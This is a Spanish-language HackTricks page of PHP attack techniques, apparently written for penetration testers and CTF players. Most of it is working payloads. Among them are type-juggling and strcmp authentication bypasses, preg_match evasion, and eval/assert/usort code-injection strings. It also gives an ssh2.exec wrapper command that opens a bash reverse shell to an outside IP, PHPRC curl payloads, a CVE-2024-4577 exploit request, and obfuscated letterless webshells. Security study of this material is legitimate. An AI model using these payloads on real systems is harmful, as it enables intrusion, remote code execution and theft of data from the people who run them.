PHP Tricks
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Cookies ubicación común:
Esto también es válido para las cookies de phpMyAdmin.
Cookies:
PHPSESSID
phpMyAdmin
Ubicaciones:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Evasión de comparaciones en PHP
Comparaciones laxas/Type Juggling ( == )
Si se usa == en PHP, hay casos inesperados donde la comparación no se comporta como se espera. Esto se debe a que “==” solo compara valores transformados al mismo tipo; si también quieres comprobar que el tipo de los datos comparados es el mismo necesitas usar ===.
PHP comparison tables: https://www.php.net/manual/en/types.comparisons.php
.png)
"string" == 0 -> TrueUna cadena que no comienza con un número es igual a un número"0xAAAA" == "43690" -> TrueCadenas compuestas por números en formato decimal o hexadecimal pueden compararse con otros números/cadenas y dar True como resultado si los números son iguales (los números en una cadena se interpretan como números)"0e3264578" == 0 --> TrueUna cadena que empieza con “0e” y seguida de cualquier cosa será igual a 0"0X3264578" == 0X --> TrueUna cadena que comienza con “0” seguida de cualquier letra (X puede ser cualquier letra) y de cualquier otra cosa será igual a 0"0e12334" == "0" --> TrueEsto es muy interesante porque en algunos casos puedes controlar la entrada de la cadena “0” y algún contenido que se está hasheando y comparando con ella. Por lo tanto, si puedes proporcionar un valor que genere un hash que comience con “0e” y sin ninguna letra, podrías eludir la comparación. Puedes encontrar cadenas ya hasheadas con este formato aquí: https://github.com/spaze/hashes"X" == 0 --> TrueCualquier letra en una cadena es igual a int 0
More info in https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Type Juggling también afecta a la función in_array() por defecto (necesitas establecer a true el tercer argumento para hacer una comparación estricta):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Si esta función se utiliza para any authentication check (como comprobar la password) y el usuario controla uno de los lados de la comparación, puede enviar un array vacío en lugar de una cadena como valor del password (https://example.com/login.php/?username=admin&password[]=) y burlar esta comprobación:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
El mismo error ocurre con strcasecmp()
Strict type Juggling
Incluso si === está siendo usado podrían ocurrir errores que hacen que la comparación sea vulnerable a type juggling. Por ejemplo, si la comparación convierte los datos a un tipo de objeto diferente antes de comparar:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match() podría usarse para validar user input (comprueba si alguna word/regex de una blacklist está present en el user input y si no lo está, el código puede continuar su ejecución).
New line bypass
Sin embargo, cuando delimita el inicio del regexppreg_match() solo comprueba la primera línea del user input, por lo que si de alguna manera puedes send el input en varias líneas, podrías ser capaz de bypass esta comprobación. Ejemplo:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Para eludir esta verificación podrías enviar el valor con saltos de línea urlencoded (%0A) o, si puedes enviar JSON data, envíalo en varias líneas:
{
"cmd": "cat /etc/passwd"
}
Encuentra un ejemplo aquí: https://ramadistra.dev/fbctf-2019-rceservice
Length error bypass
(Este bypass fue probado aparentemente en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)
Si puedes enviar a preg_match() una entrada muy grande, no podrá procesarla y podrás bypass la comprobación. Por ejemplo, si está blacklisting un JSON, podrías enviar:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
Fuente: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
ReDoS Bypass
Truco de: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong
.png)
En resumen el problema ocurre porque las funciones preg_* en PHP se basan en la PCRE library. En PCRE, ciertas expresiones regulares se emparejan usando muchas llamadas recursivas, lo que consume mucho espacio de pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite defaults to 100.000 que es más de lo que cabe en la pila.
This Stackoverflow thread también estaba vinculado en el post donde se habla con más profundidad sobre este problema. Nuestra tarea ahora estaba clara:
Enviar una entrada que haga que la regex realice más de 100_000 recursions, provocando SIGSEGV, haciendo que la función preg_match() devuelva false y así que la aplicación piense que nuestra entrada no es maliciosa, lanzando la sorpresa al final del payload algo como {system(<verybadcommand>)} para obtener SSTI –> RCE –> flag :).
Bueno, en términos de regex, en realidad no estamos haciendo 100k “recursions”, sino que estamos contando “backtracking steps”, que, como indica la PHP documentation, por defecto es 1_000_000 (1M) en la variable pcre.backtrack_limit.
Para alcanzar eso, 'X'*500_001 resultará en 1 millón de backtracking steps (500k hacia adelante y 500k hacia atrás):
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Type Juggling para la ofuscación en PHP
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Execute After Redirect (EAR)
Si PHP está redirigiendo a otra página pero no se llama a la función die o exit después de que se establece el header Location, PHP continúa ejecutándose y agregando los datos al body:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Path Traversal and File Inclusion Exploitation
Revisa:
Más trucos
- register_globals: En PHP < 4.1.1.1 o si está mal configurado, register_globals puede estar activo (o su comportamiento está siendo emulado). Esto implica que en variables globales como $_GET si tienen un valor p.ej. $_GET[“param”]=“1234”, puedes acceder a él vía $param. Por lo tanto, enviando parámetros HTTP puedes sobrescribir variables que son utilizadas dentro del código.
- PHPSESSION cookies del mismo dominio se almacenan en el mismo lugar, por lo tanto si dentro de un dominio diferentes cookies se usan en diferentes paths puedes conseguir que un path acceda a la cookie del otro path estableciendo el valor de la cookie del otro path.
De esta forma, si ambos paths acceden a una variable con el mismo nombre puedes hacer que el valor de esa variable en path1 se aplique a path2. Y entonces path2 tomará como válidas las variables de path1 (dándole a la cookie el nombre que le corresponde en path2). - Cuando tienes los nombres de usuario de los usuarios de la máquina, comprueba la dirección: /~<USERNAME> para ver si los directorios php están activados.
- Si una configuración de php tiene
register_argc_argv = Onentonces los parámetros de la query separados por espacios se usan para poblar el array de argumentosarray_keys($_SERVER['argv'])como si fueran argumentos desde la CLI. Esto es interesante porque si esa configuración está off, el valor del args array seráNullcuando se llame desde la web ya que el array de args no se poblará. Por lo tanto, si una página web intenta comprobar si se está ejecutando como web o como herramienta CLI con una comparación comoif (empty($_SERVER['argv'])) {un atacante podría enviar parámetros en la petición GET como?--configPath=/lalalay pensará que se está ejecutando como CLI y potencialmente parseará y usará esos argumentos. Más información en el artículo original. - LFI and RCE using php wrappers
password_hash/password_verify
Estas funciones se usan típicamente en PHP para generar hashes a partir de contraseñas y para verificar si una contraseña es correcta en comparación con un hash.
Los algoritmos soportados son: PASSWORD_DEFAULT y PASSWORD_BCRYPT (comienza con $2y$). Ten en cuenta que PASSWORD_DEFAULT es frecuentemente el mismo que PASSWORD_BCRYPT. Y actualmente, PASSWORD_BCRYPT tiene una limitación de tamaño en la entrada de 72 bytes. Por lo tanto, cuando intentas hashear algo mayor a 72 bytes con este algoritmo, solo se usarán los primeros 72 bytes:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTP headers bypass abusando de errores de PHP
Provocar un error después de establecer headers
From this twitter thread puedes ver que al enviar más de 1000 GET params o 1000 POST params o 20 files, PHOP no va a estar estableciendo headers en la respuesta.
Permitiendo hacer bypass, por ejemplo, de los CSP headers establecidos en códigos como:
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
Rellenar el body antes de establecer los headers
Si una página PHP muestra errores y refleja en la respuesta parte de la entrada proporcionada por el usuario, el usuario puede hacer que el servidor PHP imprima contenido lo bastante largo de modo que, cuando intente añadir los headers en la respuesta, el servidor lanzará un error.
En el siguiente escenario el atacante hizo que el servidor lanzara errores grandes, y como puedes ver en la pantalla cuando PHP intentó modificar la información de los headers, no pudo (por ejemplo el header CSP no se envió al usuario):
.png)
SSRF en funciones PHP
Consulta la página:
ssh2.exec stream wrapper RCE
When the ssh2 extension is installed (ssh2.so visible under /etc/php*/mods-available/, php -m, or even an FTP-accessible php8.1_conf/ directory), PHP registers ssh2.* wrappers that can be abused anywhere user input is concatenated into fopen()/file_get_contents() targets. An admin-only download helper such as:
$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
es suficiente para ejecutar comandos de shell a través de SSH en localhost:
GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
- La parte de credenciales puede reutilizar cualquier leaked system password (p. ej., de cracked bcrypt hashes).
- El
#final comenta el sufijo del lado del servidor (files/<id>.zip), por lo que solo se ejecuta tu comando. - Blind RCE se confirma vigilando el tráfico de salida con
tcpdump -ni tun0 icmpo sirviendo un HTTP canary.
Cambia el comando por un reverse shell payload una vez validado:
format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#
Como todo ocurre dentro del PHP worker, la conexión TCP se origina en el objetivo y hereda los privilegios de la cuenta inyectada (yuri, eric, etc.).
Ejecución de código
system(“ls”);
`ls`;
shell_exec(“ls”);
Consulta esto para más funciones útiles de PHP
RCE vía preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Para ejecutar el código en el argumento “replace” se necesita al menos una coincidencia.
Esta opción de preg_replace ha sido marcada como obsoleta desde PHP 5.5.0.
RCE via Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE via Assert()
Esta función dentro de php permite ejecutar código que está escrito en una cadena para devolver true o false (y dependiendo de esto alterar la ejecución). Normalmente la variable del usuario se insertará en medio de una cadena. Por ejemplo:assert("strpos($_GET['page']),'..') === false") –> En este caso, para obtener RCE podrías hacer:
?page=a','NeVeR') === false and system('ls') and strpos('a
Necesitarás romper la sintaxis del código, añadir tu payload, y luego arreglarla de nuevo. Puedes usar operaciones lógicas tales como “and” or “%26%26” or “|”. Ten en cuenta que “or”, “||” no funcionan porque si la primera condición es verdadera nuestro payload no se ejecutará. De la misma manera “;” no funciona ya que nuestro payload no se ejecutará.
Otra opción es añadir a la cadena la ejecución del comando: '.highlight_file('.passwd').'
Otra opción (si tienes el código interno) es modificar alguna variable para alterar la ejecución: $file = "hola"
RCE via usort()
Esta función se utiliza para ordenar un array de elementos usando una función específica.
Para abusar de esta función:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
También puedes usar // para comentar el resto del código.
Para descubrir el número de paréntesis que necesitas cerrar:
?order=id;}//: obtenemos un mensaje de error (Parse error: syntax error, unexpected ';'). Probablemente nos falten una o más llaves.?order=id);}//: recibimos una advertencia. Eso parece correcto.?order=id));}//: obtenemos un mensaje de error (Parse error: syntax error, unexpected ')' i). Probablemente tengamos demasiados paréntesis de cierre.
RCE a través de .httaccess
Si puedes upload un .htaccess, entonces puedes configure varias cosas e incluso ejecutar código (configurando que archivos con extensión .htaccess puedan ser executed).
Different .htaccess shells can be found here
RCE a través de variables de entorno
Si encuentras una vulnerabilidad que te permita modify env variables in PHP (y otra para subir archivos, aunque con más investigación quizá esto se pueda bypass), podrías abusar de este comportamiento para obtener RCE.
LD_PRELOAD: Esta variable de entorno permite cargar librerías arbitrarias al ejecutar otros binarios (aunque en este caso podría no funcionar).PHPRC: Indica a PHP dónde localizar su archivo de configuración, normalmente llamadophp.ini. Si puedes subir tu propio archivo de configuración, usaPHPRCpara apuntar PHP a él. Añade una entradaauto_prepend_fileque especifique un segundo archivo subido. Este segundo archivo contiene código PHP normal, que será ejecutado por el runtime de PHP antes que cualquier otro código.- Sube un archivo PHP que contenga nuestro shellcode
- Sube un segundo archivo, que contenga una directiva
auto_prepend_fileindicando al preprocesador de PHP que ejecute el archivo subido en el paso 1 - Establece la variable
PHPRCal archivo subido en el paso 2.
- Get more info on how to execute this chain from the original report.
- PHPRC - otra opción
- Si cannot upload files, podrías usar en FreeBSD el “file”
/dev/fd/0que contiene elstdin, siendo el body de la request enviada alstdin: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'- Or to get RCE, enable
allow_url_includeand prepend a file with base64 PHP code: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'- Technique from this report.
XAMPP CGI RCE - CVE-2024-4577
El servidor web parsea las peticiones HTTP y las pasa a un script PHP ejecutando una petición como http://host/cgi.php?foo=bar como php.exe cgi.php foo=bar, lo que permite una inyección de parámetros. Esto permitiría inyectar los siguientes parámetros para cargar el código PHP desde el cuerpo:
-d allow_url_include=1 -d auto_prepend_file=php://input
Además, es posible inyectar el parámetro “-” usando el carácter 0xAD debido a la posterior normalización de PHP. Consulta el ejemplo de exploit de this post:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
PHP Sanitization bypass & Brain Fuck
In this post es posible encontrar excelentes ideas para generar código PHP brain fuck con muy pocos caracteres permitidos.
Además, también se propone una forma interesante de ejecutar funciones que les permitió el bypass de varias comprobaciones:
(1)->{system($_GET[chr(97)])}
PHP Análisis estático
Comprueba si puedes insertar code en llamadas a estas funciones (desde here):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Si estás depurando una aplicación PHP puedes habilitar globalmente la impresión de errores en /etc/php5/apache2/php.ini añadiendo display_errors = On y reiniciar apache: sudo systemctl restart apache2
Deofuscando código PHP
Puedes usar la web www.unphp.net para deofuscar código PHP.
PHP Wrappers & Protocols
PHP Wrappers y protocols podrían permitirte bypass write and read protections en un sistema y comprometerlo. Para more information check this page.
Xdebug unauthenticated RCE
Si ves que Xdebug está enabled en la salida de phpconfig() deberías intentar obtener RCE vía https://github.com/nqxcode/xdebug-exploit
Variable variables
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE abusing new $_GET[“a”]($_GET[“b”])
Si en una página puedes crear un nuevo objeto de una clase arbitraria podrías ser capaz de obtener RCE, consulta la siguiente página para aprender cómo:
Php Rce Abusing Object Creation New Usd Get A Usd Get B
Ejecutar PHP sin letras
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Usando octal
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR easy shell code
Según this writeup es posible generar un easy shellcode de la siguiente manera:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Entonces, si puedes execute arbitrary PHP without numbers and letters, puedes enviar una solicitud como la siguiente abusando de esa payload para ejecutar arbitrary PHP:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Para una explicación más detallada, consulta https://ctf-wiki.org/web/php/php/#preg_match
XOR Shellcode (inside eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Estilo Perl
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

